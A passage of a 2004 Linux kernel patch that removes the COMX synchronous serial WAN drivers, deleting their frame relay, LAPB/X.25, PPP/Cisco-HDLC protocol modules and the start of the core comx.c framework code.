new_file->write_proc = &fr_write_proc; - new_file->size = 5; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_KEEPALIVE, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_dlci; - } - new_file->data = (void *)new_file; - new_file->read_proc = &fr_read_proc; - new_file->write_proc = &fr_write_proc; - new_file->size = 4; - new_file->nlink = 1; - - fr_set_keepalive(dev, 0); - - MOD_INC_USE_COUNT; - return 0; -cleanup_filename_dlci: - remove_proc_entry(FILENAME_DLCI, ch->procdir); -cleanup_LINE_privdata: - kfree(fr); - return -EIO; -} - -static int fr_slave_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr; - struct proc_dir_entry *new_file; - - if ((fr = ch->LINE_privdata = kmalloc(sizeof(struct fr_data), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - memset(fr, 0, sizeof(struct fr_data)); - - dev->flags = IFF_POINTOPOINT | IFF_NOARP | IFF_MULTICAST; - dev->type = ARPHRD_DLCI; - dev->mtu = 1500; - dev->hard_header_len = 4; - dev->addr_len = 0; - - ch->LINE_rx = fr_rx; - ch->LINE_tx = fr_tx; - ch->LINE_status = fr_status; - ch->LINE_open = fr_open; - ch->LINE_close = fr_close; - ch->LINE_xmit = fr_xmit; - ch->LINE_header = fr_header; - ch->LINE_rebuild_header = NULL; - ch->LINE_statistics = fr_statistics; - - if ((new_file = create_proc_entry(FILENAME_DLCI, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_LINE_privdata; - } - - new_file->data = (void *)new_file; - new_file->read_proc = &fr_read_proc; - new_file->write_proc = &fr_write_proc; - new_file->size = 5; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_MASTER, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_dlci; - } - new_file->data = (void *)new_file; - new_file->read_proc = &fr_read_proc; - new_file->write_proc = &fr_write_proc; - new_file->size = 10; - new_file->nlink = 1; - MOD_INC_USE_COUNT; - return 0; -cleanup_filename_dlci: - remove_proc_entry(FILENAME_DLCI, ch->procdir); -cleanup_LINE_privdata: - kfree(fr); - return -EIO; -} - -static int dlci_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - ch->init_status |= HW_OPEN; - - MOD_INC_USE_COUNT; - return 0; -} - -static int dlci_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - ch->init_status &= ~HW_OPEN; - - MOD_DEC_USE_COUNT; - return 0; -} - -static int dlci_txe(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct fr_data *fr = ch->LINE_privdata; - - if (!fr->master) { - return 0; - } - - ch = fr->master->priv; - fr = ch->LINE_privdata; - return ch->HW_txe(fr->master); -} - -static int dlci_statistics(struct net_device *dev, char *page) -{ - return 0; -} - -static int dlci_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - ch->HW_open = dlci_open; - ch->HW_close = dlci_close; - ch->HW_txe = dlci_txe; - ch->HW_statistics = dlci_statistics; - - /* Nincs egyeb hw info, mert ugyis a fr->master-bol fog minden kiderulni */ - - MOD_INC_USE_COUNT; - return 0; -} - -static int dlci_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - ch->HW_open = NULL; - ch->HW_close = NULL; - ch->HW_txe = NULL; - ch->HW_statistics = NULL; - - MOD_DEC_USE_COUNT; - return 0; -} - -static int dlci_dump(struct net_device *dev) -{ - printk(KERN_INFO "dlci_dump %s, HOGY MI ???\n", dev->name); - return -1; -} - -static struct comx_protocol fr_master_protocol = { - .name = "frad", - .version = VERSION, - .encap_type = ARPHRD_FRAD, - .line_init = fr_master_init, - .line_exit = fr_exit, -}; - -static struct comx_protocol fr_slave_protocol = { - .name = "ietf-ip", - .version = VERSION, - .encap_type = ARPHRD_DLCI, - .line_init = fr_slave_init, - .line_exit = fr_exit, -}; - -static struct comx_hardware fr_dlci = { - .name = "dlci", - .version = VERSION, - .hw_init = dlci_init, - .hw_exit = dlci_exit, - .hw_dump = dlci_dump, -}; - -static int __init comx_proto_fr_init(void) -{ - int ret; - - if ((ret = comx_register_hardware(&fr_dlci))) { - return ret; - } - if ((ret = comx_register_protocol(&fr_master_protocol))) { - return ret; - } - return comx_register_protocol(&fr_slave_protocol); -} - -static void __exit comx_proto_fr_exit(void) -{ - comx_unregister_hardware(fr_dlci.name); - comx_unregister_protocol(fr_master_protocol.name); - comx_unregister_protocol(fr_slave_protocol.name); -} - -module_init(comx_proto_fr_init); -module_exit(comx_proto_fr_exit); ===== drivers/net/wan/comx-proto-lapb.c 1.12 vs edited ===== --- 1.12/drivers/net/wan/comx-proto-lapb.c Sun Jan 11 00:39:04 2004 +++ edited/drivers/net/wan/comx-proto-lapb.c Fri May 7 13:05:52 2004 @@ -1,551 +1 @@ -/* - * LAPB protocol module for the COMX driver - * for Linux kernel 2.2.X - * - * Original author: Tivadar Szemethy - * Maintainer: Gergely Madarasz - * - * Copyright (C) 1997-1999 (C) ITConsult-Pro Co. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.80 (99/06/14): - * - cleaned up the source code a bit - * - ported back to kernel, now works as non-module - * - * Changed (00/10/29, Henner Eisen): - * - comx_rx() / comxlapb_data_indication() return status. - * - */ -#define VERSION "0.80" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "comx.h" -#include "comxhw.h" - -static struct proc_dir_entry *create_comxlapb_proc_entry(char *name, int mode, - int size, struct proc_dir_entry *dir); - -static void comxlapb_rx(struct net_device *dev, struct sk_buff *skb) -{ - if (!dev || !dev->priv) { - dev_kfree_skb(skb); - } else { - lapb_data_received(dev, skb); - } -} - -static int comxlapb_tx(struct net_device *dev) -{ - netif_wake_queue(dev); - return 0; -} - -static int comxlapb_header(struct sk_buff *skb, struct net_device *dev, - unsigned short type, void *daddr, void *saddr, unsigned len) -{ - return dev->hard_header_len; -} - -static void comxlapb_status(struct net_device *dev, unsigned short status) -{ - struct comx_channel *ch; - - if (!dev || !(ch = dev->priv)) { - return; - } - if (status & LINE_UP) { - netif_wake_queue(dev); - } - comx_status(dev, status); -} - -static int comxlapb_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - int err = 0; - - if (!(ch->init_status & HW_OPEN)) { - return -ENODEV; - } - - err = lapb_connect_request(dev); - - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(dev, "%s: lapb opened, error code: %d\n", - dev->name, err); - } - - if (!err) { - ch->init_status |= LINE_OPEN; - MOD_INC_USE_COUNT; - } - return err; -} - -static int comxlapb_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - if (!(ch->init_status & HW_OPEN)) { - return -ENODEV; - } - - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(dev, "%s: lapb closed\n", dev->name); - } - - lapb_disconnect_request(dev); - - ch->init_status &= ~LINE_OPEN; - ch->line_status &= ~PROTO_UP; - MOD_DEC_USE_COUNT; - return 0; -} - -static int comxlapb_xmit(struct sk_buff *skb, struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct sk_buff *skb2; - - if (!dev || !(ch = dev->priv) || !(dev->flags & (IFF_UP | IFF_RUNNING))) { - return -ENODEV; - } - - if (dev->type == ARPHRD_X25) { // first byte tells what to do - switch(skb->data[0]) { - case 0x00: - break; // transmit - case 0x01: - lapb_connect_request(dev); - kfree_skb(skb); - return 0; - case 0x02: - lapb_disconnect_request(dev); - default: - kfree_skb(skb); - return 0; - } - skb_pull(skb,1); - } - - netif_stop_queue(dev); - - if ((skb2 = skb_clone(skb, GFP_ATOMIC)) != NULL) { - lapb_data_request(dev, skb2); - } - - return FRAME_ACCEPTED; -} - -static int comxlapb_statistics(struct net_device *dev, char *page) -{ - struct lapb_parms_struct parms; - int len = 0; - - len += sprintf(page + len, "Line status: "); - if (lapb_getparms(dev, &parms) != LAPB_OK) { - len += sprintf(page + len, "not initialized\n"); - return len; - } - len += sprintf(page + len, "%s (%s), T1: %d/%d, T2: %d/%d, N2: %d/%d, " - "window: %d\n", parms.mode & LAPB_DCE ? "DCE" : "DTE", - parms.mode & LAPB_EXTENDED ? "EXTENDED" : "STANDARD", - parms.t1timer, parms.t1, parms.t2timer, parms.t2, - parms.n2count, parms.n2, parms.window); - - return len; -} - -static int comxlapb_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct lapb_parms_struct parms; - int len = 0; - - if (lapb_getparms(dev, &parms)) { - return -ENODEV; - } - - if (strcmp(file->name, FILENAME_T1) == 0) { - len += sprintf(page + len, "%02u / %02u\n", - parms.t1timer, parms.t1); - } else if (strcmp(file->name, FILENAME_T2) == 0) { - len += sprintf(page + len, "%02u / %02u\n", - parms.t2timer, parms.t2); - } else if (strcmp(file->name, FILENAME_N2) == 0) { - len += sprintf(page + len, "%02u / %02u\n", - parms.n2count, parms.n2); - } else if (strcmp(file->name, FILENAME_WINDOW) == 0) { - len += sprintf(page + len, "%u\n", parms.window); - } else if (strcmp(file->name, FILENAME_MODE) == 0) { - len += sprintf(page + len, "%s, %s\n", - parms.mode & LAPB_DCE ? "DCE" : "DTE", - parms.mode & LAPB_EXTENDED ? "EXTENDED" : "STANDARD"); - } else { - printk(KERN_ERR "comxlapb: internal error, filename %s\n", file->name); - return -EBADF; - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) { - *eof = 1; - } - return min_t(int, count, len - off); -} - -static int comxlapb_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = entry->parent->data; - struct lapb_parms_struct parms; - unsigned long parm; - char *page; - - if (lapb_getparms(dev, &parms)) { - return -ENODEV; - } - - if (!(page = (char *)__get_free_page(GFP_KERNEL))) { - return -ENOMEM; - } - - if (copy_from_user(page, buffer, count)) { - free_page((unsigned long)page); - return -EFAULT; - } - if (*(page + count - 1) == '\n') { - *(page + count - 1) = 0; - } - - if (strcmp(entry->name, FILENAME_T1) == 0) { - parm=simple_strtoul(page,NULL,10); - if (parm > 0 && parm < 100) { - parms.t1=parm; - lapb_setparms(dev, &parms); - } - } else if (strcmp(entry->name, FILENAME_T2) == 0) { - parm=simple_strtoul(page, NULL, 10); - if (parm > 0 && parm < 100) { - parms.t2=parm; - lapb_setparms(dev, &parms); - } - } else if (strcmp(entry->name, FILENAME_N2) == 0) { - parm=simple_strtoul(page, NULL, 10); - if (parm > 0 && parm < 100) { - parms.n2=parm; - lapb_setparms(dev, &parms); - } - } else if (strcmp(entry->name, FILENAME_WINDOW) == 0) { - parms.window = simple_strtoul(page, NULL, 10); - lapb_setparms(dev, &parms); - } else if (strcmp(entry->name, FILENAME_MODE) == 0) { - if (comx_strcasecmp(page, "dte") == 0) { - parms.mode &= ~(LAPB_DCE | LAPB_DTE); - parms.mode |= LAPB_DTE; - } else if (comx_strcasecmp(page, "dce") == 0) { - parms.mode &= ~(LAPB_DTE | LAPB_DCE); - parms.mode |= LAPB_DCE; - } else if (comx_strcasecmp(page, "std") == 0 || - comx_strcasecmp(page, "standard") == 0) { - parms.mode &= ~LAPB_EXTENDED; - parms.mode |= LAPB_STANDARD; - } else if (comx_strcasecmp(page, "ext") == 0 || - comx_strcasecmp(page, "extended") == 0) { - parms.mode &= ~LAPB_STANDARD; - parms.mode |= LAPB_EXTENDED; - } - lapb_setparms(dev, &parms); - } else { - printk(KERN_ERR "comxlapb_write_proc: internal error, filename %s\n", - entry->name); - return -EBADF; - } - - free_page((unsigned long)page); - return count; -} - -static void comxlapb_connected(struct net_device *dev, int reason) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *comxdir = ch->procdir->subdir; - - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(ch->dev, "%s: lapb connected, reason: %d\n", - ch->dev->name, reason); - } - - if (ch->dev->type == ARPHRD_X25) { - unsigned char *p; - struct sk_buff *skb; - - if ((skb = dev_alloc_skb(1)) == NULL) { - printk(KERN_ERR "comxlapb: out of memory!\n"); - return; - } - p = skb_put(skb,1); - *p = 0x01; // link established - skb->dev = ch->dev; - skb->protocol = htons(ETH_P_X25); - skb->mac.raw = skb->data; - skb->pkt_type = PACKET_HOST; - - netif_rx(skb); - ch->dev->last_rx = jiffies; - } - - for (; comxdir; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_MODE) == 0) { - comxdir->mode = S_IFREG | 0444; - } - } - - - ch->line_status |= PROTO_UP; - comx_status(ch->dev, ch->line_status); -} - -static void comxlapb_disconnected(struct net_device *dev, int reason) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *comxdir = ch->procdir->subdir; - - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(ch->dev, "%s: lapb disconnected, reason: %d\n", - ch->dev->name, reason); - } - - if (ch->dev->type == ARPHRD_X25) { - unsigned char *p; - struct sk_buff *skb; - - if ((skb = dev_alloc_skb(1)) == NULL) { - printk(KERN_ERR "comxlapb: out of memory!\n"); - return; - } - p = skb_put(skb,1); - *p = 0x02; // link disconnected - skb->dev = ch->dev; - skb->protocol = htons(ETH_P_X25); - skb->mac.raw = skb->data; - skb->pkt_type = PACKET_HOST; - - netif_rx(skb); - ch->dev->last_rx = jiffies; - } - - for (; comxdir; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_MODE) == 0) { - comxdir->mode = S_IFREG | 0644; - } - } - - ch->line_status &= ~PROTO_UP; - comx_status(ch->dev, ch->line_status); -} - -static int comxlapb_data_indication(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = dev->priv; - - if (ch->dev->type == ARPHRD_X25) { - skb_push(skb, 1); - - if (skb_cow(skb, 1)) - return NET_RX_DROP; - - skb->data[0] = 0; // indicate data for X25 - skb->protocol = htons(ETH_P_X25); - } else { - skb->protocol = htons(ETH_P_IP); - } - - skb->dev = ch->dev; - skb->mac.raw = skb->data; - return comx_rx(ch->dev, skb); -} - -static void comxlapb_data_transmit(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = dev->priv; - - if (ch->HW_send_packet) { - ch->HW_send_packet(ch->dev, skb); - } -} - -static int comxlapb_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - dev->flags = 0; - dev->type = 0; - dev->mtu = 0; - dev->hard_header_len = 0; - - ch->LINE_rx = NULL; - ch->LINE_tx = NULL; - ch->LINE_status = NULL; - ch->LINE_open = NULL; - ch->LINE_close = NULL; - ch->LINE_xmit = NULL; - ch->LINE_header = NULL; - ch->LINE_statistics = NULL; - - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(dev, "%s: unregistering lapb\n", dev->name); - } - lapb_unregister(dev); - - remove_proc_entry(FILENAME_T1, ch->procdir); - remove_proc_entry(FILENAME_T2, ch->procdir); - remove_proc_entry(FILENAME_N2, ch->procdir); - remove_proc_entry(FILENAME_MODE, ch->procdir); - remove_proc_entry(FILENAME_WINDOW, ch->procdir); - - MOD_DEC_USE_COUNT; - return 0; -} - -static int comxlapb_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct lapb_register_struct lapbreg; - - dev->mtu = 1500; - dev->hard_header_len = 4; - dev->addr_len = 0; - - ch->LINE_rx = comxlapb_rx; - ch->LINE_tx = comxlapb_tx; - ch->LINE_status = comxlapb_status; - ch->LINE_open = comxlapb_open; - ch->LINE_close = comxlapb_close; - ch->LINE_xmit = comxlapb_xmit; - ch->LINE_header = comxlapb_header; - ch->LINE_statistics = comxlapb_statistics; - - lapbreg.connect_confirmation = comxlapb_connected; - lapbreg.connect_indication = comxlapb_connected; - lapbreg.disconnect_confirmation = comxlapb_disconnected; - lapbreg.disconnect_indication = comxlapb_disconnected; - lapbreg.data_indication = comxlapb_data_indication; - lapbreg.data_transmit = comxlapb_data_transmit; - if (lapb_register(dev, &lapbreg)) { - return -ENOMEM; - } - if (ch->debug_flags & DEBUG_COMX_LAPB) { - comx_debug(dev, "%s: lapb registered\n", dev->name); - } - - if (!create_comxlapb_proc_entry(FILENAME_T1, 0644, 8, ch->procdir)) { - return -ENOMEM; - } - if (!create_comxlapb_proc_entry(FILENAME_T2, 0644, 8, ch->procdir)) { - return -ENOMEM; - } - if (!create_comxlapb_proc_entry(FILENAME_N2, 0644, 8, ch->procdir)) { - return -ENOMEM; - } - if (!create_comxlapb_proc_entry(FILENAME_MODE, 0644, 14, ch->procdir)) { - return -ENOMEM; - } - if (!create_comxlapb_proc_entry(FILENAME_WINDOW, 0644, 0, ch->procdir)) { - return -ENOMEM; - } - - MOD_INC_USE_COUNT; - return 0; -} - -static int comxlapb_init_lapb(struct net_device *dev) -{ - dev->flags = IFF_POINTOPOINT | IFF_NOARP | IFF_MULTICAST; - dev->type = ARPHRD_LAPB; - - return(comxlapb_init(dev)); -} - -static int comxlapb_init_x25(struct net_device *dev) -{ - dev->flags = IFF_NOARP; - dev->type = ARPHRD_X25; - - return(comxlapb_init(dev)); -} - -static struct proc_dir_entry *create_comxlapb_proc_entry(char *name, int mode, - int size, struct proc_dir_entry *dir) -{ - struct proc_dir_entry *new_file; - - if ((new_file = create_proc_entry(name, S_IFREG | mode, dir)) != NULL) { - new_file->data = (void *)new_file; - new_file->read_proc = &comxlapb_read_proc; - new_file->write_proc = &comxlapb_write_proc; - new_file->size = size; - new_file->nlink = 1; - } - return(new_file); -} - -static struct comx_protocol comxlapb_protocol = { - "lapb", - VERSION, - ARPHRD_LAPB, - comxlapb_init_lapb, - comxlapb_exit, - NULL -}; - -static struct comx_protocol comx25_protocol = { - "x25", - VERSION, - ARPHRD_X25, - comxlapb_init_x25, - comxlapb_exit, - NULL -}; - -static int __init comx_proto_lapb_init(void) -{ - int ret; - - if ((ret = comx_register_protocol(&comxlapb_protocol)) != 0) { - return ret; - } - return comx_register_protocol(&comx25_protocol); -} - -static void __exit comx_proto_lapb_exit(void) -{ - comx_unregister_protocol(comxlapb_protocol.name); - comx_unregister_protocol(comx25_protocol.name); -} - -module_init(comx_proto_lapb_init); -module_exit(comx_proto_lapb_exit); - -MODULE_LICENSE("GPL"); ===== drivers/net/wan/comx-proto-ppp.c 1.6 vs edited ===== --- 1.6/drivers/net/wan/comx-proto-ppp.c Thu Sep 11 19:40:53 2003 +++ edited/drivers/net/wan/comx-proto-ppp.c Fri May 7 13:05:52 2004 @@ -1,269 +1 @@ -/* - * Synchronous PPP / Cisco-HDLC driver for the COMX boards - * - * Author: Gergely Madarasz - * - * based on skeleton code by Tivadar Szemethy - * - * Copyright (C) 1999 ITConsult-Pro Co. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * - * Version 0.10 (99/06/10): - * - written the first code :) - * - * Version 0.20 (99/06/16): - * - added hdlc protocol - * - protocol up is IFF_RUNNING - * - * Version 0.21 (99/07/15): - * - some small fixes with the line status - * - * Version 0.22 (99/08/05): - * - don't test IFF_RUNNING but the pp_link_state of the sppp - * - * Version 0.23 (99/12/02): - * - tbusy fixes - * - */ -#define VERSION "0.23" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include "comx.h" - -MODULE_AUTHOR("Author: Gergely Madarasz "); -MODULE_DESCRIPTION("Cisco-HDLC / Synchronous PPP driver for the COMX sync serial boards"); -MODULE_LICENSE("GPL"); - -static struct comx_protocol syncppp_protocol; -static struct comx_protocol hdlc_protocol; - -struct syncppp_data { - struct timer_list status_timer; -}; - -static void syncppp_status_timerfun(unsigned long d) { - struct net_device *dev=(struct net_device *)d; - struct comx_channel *ch=dev->priv; - struct syncppp_data *spch=ch->LINE_privdata; - struct sppp *sp = (struct sppp *)sppp_of(dev); - - if(!(ch->line_status & PROTO_UP) && - (sp->pp_link_state==SPPP_LINK_UP)) { - comx_status(dev, ch->line_status | PROTO_UP); - } - if((ch->line_status & PROTO_UP) && - (sp->pp_link_state==SPPP_LINK_DOWN)) { - comx_status(dev, ch->line_status & ~PROTO_UP); - } - mod_timer(&spch->status_timer,jiffies + HZ*3); -} - -static int syncppp_tx(struct net_device *dev) -{ - struct comx_channel *ch=dev->priv; - - if(ch->line_status & LINE_UP) { - netif_wake_queue(dev); - } - return 0; -} - -static void syncppp_status(struct net_device *dev, unsigned short status) -{ - status &= ~(PROTO_UP | PROTO_LOOP); - if(status & LINE_UP) { - netif_wake_queue(dev); - sppp_open(dev); - } else { - /* Line went down */ - netif_stop_queue(dev); - sppp_close(dev); - } - comx_status(dev, status); -} - -static int syncppp_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct syncppp_data *spch = ch->LINE_privdata; - - if (!(ch->init_status & HW_OPEN)) return -ENODEV; - - ch->init_status |= LINE_OPEN; - ch->line_status &= ~(PROTO_UP | PROTO_LOOP); - - if(ch->line_status & LINE_UP) { - sppp_open(dev); - } - - init_timer(&spch->status_timer); - spch->status_timer.function=syncppp_status_timerfun; - spch->status_timer.data=(unsigned long)dev; - spch->status_timer.expires=jiffies + HZ*3; - add_timer(&spch->status_timer); - - return 0; -} - -static int syncppp_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct syncppp_data *spch = ch->LINE_privdata; - - if (!(ch->init_status & HW_OPEN)) return -ENODEV; - del_timer(&spch->status_timer); - - sppp_close(dev); - - ch->init_status &= ~LINE_OPEN; - ch->line_status &= ~(PROTO_UP | PROTO_LOOP); - - return 0; -} - -static int syncppp_xmit(struct sk_buff *skb, struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - netif_stop_queue(dev); - switch(ch->HW_send_packet(dev, skb)) { - case FRAME_QUEUED: - netif_wake_queue(dev); - break; - case FRAME_ACCEPTED: - case FRAME_DROPPED: - break; - case FRAME_ERROR: - printk(KERN_ERR "%s: Transmit frame error (len %d)\n", - dev->name, skb->len); - break; - } - return 0; -} - - -static int syncppp_statistics(struct net_device *dev, char *page) -{ - int len = 0; - - len += sprintf(page + len, " "); - return len; -} - - -static int syncppp_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - sppp_detach(dev); - - dev->flags = 0; - dev->type = 0; - dev->mtu = 0; - - ch->LINE_rx = NULL; - ch->LINE_tx = NULL; - ch->LINE_status = NULL; - ch->LINE_open = NULL; - ch->LINE_close = NULL; - ch->LINE_xmit = NULL; - ch->LINE_header = NULL; - ch->LINE_rebuild_header = NULL; - ch->LINE_statistics = NULL; - - kfree(ch->LINE_privdata); - ch->LINE_privdata = NULL; - - MOD_DEC_USE_COUNT; - return 0; -} - -static int syncppp_init(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct ppp_device *pppdev = (struct ppp_device *)ch->if_ptr; - - ch->LINE_privdata = kmalloc(sizeof(struct syncppp_data), GFP_KERNEL); - if (!ch->LINE_privdata) - return -ENOMEM; - - pppdev->dev = dev; - sppp_attach(pppdev); - - if(ch->protocol == &hdlc_protocol) { - pppdev->sppp.pp_flags |= PP_CISCO; - dev->type = ARPHRD_HDLC; - } else { - pppdev->sppp.pp_flags &= ~PP_CISCO; - dev->type = ARPHRD_PPP; - } - - ch->LINE_rx = sppp_input; - ch->LINE_tx = syncppp_tx; - ch->LINE_status = syncppp_status; - ch->LINE_open = syncppp_open; - ch->LINE_close = syncppp_close; - ch->LINE_xmit = syncppp_xmit; - ch->LINE_header = NULL; - ch->LINE_statistics = syncppp_statistics; - - - MOD_INC_USE_COUNT; - return 0; -} - -static struct comx_protocol syncppp_protocol = { - "ppp", - VERSION, - ARPHRD_PPP, - syncppp_init, - syncppp_exit, - NULL -}; - -static struct comx_protocol hdlc_protocol = { - "hdlc", - VERSION, - ARPHRD_PPP, - syncppp_init, - syncppp_exit, - NULL -}; - -static int __init comx_proto_ppp_init(void) -{ - int ret; - - ret = comx_register_protocol(&hdlc_protocol); - if (!ret) { - ret = comx_register_protocol(&syncppp_protocol); - if (ret) - comx_unregister_protocol(hdlc_protocol.name); - } - return ret; -} - -static void __exit comx_proto_ppp_exit(void) -{ - comx_unregister_protocol(syncppp_protocol.name); - comx_unregister_protocol(hdlc_protocol.name); -} - -module_init(comx_proto_ppp_init); -module_exit(comx_proto_ppp_exit); ===== drivers/net/wan/comx.c 1.23 vs edited ===== --- 1.23/drivers/net/wan/comx.c Thu Mar 18 22:27:11 2004 +++ edited/drivers/net/wan/comx.c Fri May 7 13:05:52 2004 @@ -1,1128 +1 @@ -/* - * Device driver framework for the COMX line of synchronous serial boards - * - * for Linux kernel 2.2.X / 2.4.X - * - * Original authors: Arpad Bakay , - * Peter Bajan , - * Previous maintainer: Tivadar Szemethy - * Current maintainer: Gergely Madarasz - * - * Copyright (C) 1995-1999 ITConsult-Pro Co. - * - * Contributors: - * Arnaldo Carvalho de Melo (0.85) - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.80 (99/06/11): - * - clean up source code (playing a bit of indent) - * - port back to kernel, add support for non-module versions - * - add support for board resets when channel protocol is down - * - reset the device structure after protocol exit - * the syncppp driver needs it - * - add support for /proc/comx/protocols and - * /proc/comx/boardtypes - * - * Version 0.81 (99/06/21): - * - comment out the board reset support code, the locomx - * driver seems not buggy now - * - printk() levels fixed - * - * Version 0.82 (99/07/08): - * - Handle stats correctly if the lowlevel driver is - * is not a comx one (locomx - z85230) - * - * Version 0.83 (99/07/15): - * - reset line_status when interface is down - * - * Version 0.84 (99/12/01): - * - comx_status should not check for IFF_UP (to report - * line status from dev->open()) - * - * Version 0.85 (00/08/15): - * - resource release on failure in comx_mkdir - * - fix return value on failure at comx_write_proc - * - * Changed (00/10/29, Henner Eisen): - * - comx_rx() / comxlapb_data_indication() return status. - */ -#define VERSION "0.85" - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef CONFIG_KMOD -#include -#endif - -#ifndef CONFIG_PROC_FS -#error For now, COMX really needs the /proc filesystem -#endif - -#include -#include "comx.h" - -MODULE_AUTHOR("Gergely Madarasz "); -MODULE_DESCRIPTION("Common code for the COMX synchronous serial adapters"); -MODULE_LICENSE("GPL"); - -static struct comx_hardware *comx_channels = NULL; -static struct comx_protocol *comx_lines = NULL; - -static int comx_mkdir(struct inode *, struct dentry *, int); -static int comx_rmdir(struct inode *, struct dentry *); -static struct dentry *comx_lookup(struct inode *, struct dentry *, struct nameidata *); - -static struct inode_operations comx_root_inode_ops = { - .lookup = comx_lookup, - .mkdir = comx_mkdir, - .rmdir = comx_rmdir, -}; - -static int comx_delete_dentry(struct dentry *dentry); -static struct proc_dir_entry *create_comx_proc_entry(char *name, int mode, - int size, struct proc_dir_entry *dir); - -static struct dentry_operations comx_dentry_operations = { - .d_delete = comx_delete_dentry, -}; - - -static struct proc_dir_entry * comx_root_dir; - -struct comx_debugflags_struct comx_debugflags[] = { - { "comx_rx", DEBUG_COMX_RX }, - { "comx_tx", DEBUG_COMX_TX }, - { "hw_tx", DEBUG_HW_TX }, - { "hw_rx", DEBUG_HW_RX }, - { "hdlc_keepalive", DEBUG_HDLC_KEEPALIVE }, - { "comxppp", DEBUG_COMX_PPP }, - { "comxlapb", DEBUG_COMX_LAPB }, - { "dlci", DEBUG_COMX_DLCI }, - { NULL, 0 } -}; - - -int comx_debug(struct net_device *dev, char *fmt, ...) -{ - struct comx_channel *ch = dev->priv; - char *page,*str; - va_list args; - int len; - - if (!ch->debug_area) return 0; - - if (!(page = (char *)__get_free_page(GFP_ATOMIC))) return -ENOMEM; - - va_start(args, fmt); - len = vsprintf(str = page, fmt, args); - va_end(args); - - if (len >= PAGE_SIZE) { - printk(KERN_ERR "comx_debug: PANIC! len = %d !!!\n", len); - free_page((unsigned long)page); - return -EINVAL; - } - - while (len) { - int to_copy; - int free = (ch->debug_start - ch->debug_end + ch->debug_size) - % ch->debug_size; - - to_copy = min_t(int, free ? free : ch->debug_size, - min_t(int, ch->debug_size - ch->debug_end, len)); - memcpy(ch->debug_area + ch->debug_end, str, to_copy); - str += to_copy; - len -= to_copy; - ch->debug_end = (ch->debug_end + to_copy) % ch->debug_size; - if (ch->debug_start == ch->debug_end) // Full ? push start away - ch->debug_start = (ch->debug_start + len + 1) % - ch->debug_size; - ch->debug_file->size = (ch->debug_end - ch->debug_start + - ch->debug_size) % ch->debug_size; - } - - free_page((unsigned long)page); - return 0; -} - -int comx_debug_skb(struct net_device *dev, struct sk_buff *skb, char *msg) -{ - struct comx_channel *ch = dev->priv; - - if (!ch->debug_area) return 0; - if (!skb) comx_debug(dev, "%s: %s NULL skb\n\n", dev->name, msg); - if (!skb->len) comx_debug(dev, "%s: %s empty skb\n\n", dev->name, msg); - - return comx_debug_bytes(dev, skb->data, skb->len, msg); -} - -int comx_debug_bytes(struct net_device *dev, unsigned char *bytes, int len, - char *msg) -{ - int pos = 0; - struct comx_channel *ch = dev->priv; - - if (!ch->debug_area) return 0; - - comx_debug(dev, "%s: %s len %d\n", dev->name, msg, len); - - while (pos != len) { - char line[80]; - int i = 0; - - memset(line, 0, 80); - sprintf(line,"%04d ", pos); - do { - sprintf(line + 5 + (pos % 16) * 3, "%02x", bytes[pos]); - sprintf(line + 60 + (pos % 16), "%c", - isprint(bytes[pos]) ? bytes[pos] : '.'); - pos++; - } while (pos != len && pos % 16); - - while ( i++ != 78 ) if (line[i] == 0) line[i] = ' '; - line[77] = '\n'; - line[78] = 0; - - comx_debug(dev, "%s", line); - } - comx_debug(dev, "\n"); - return 0; -} - -static void comx_loadavg_timerfun(unsigned long 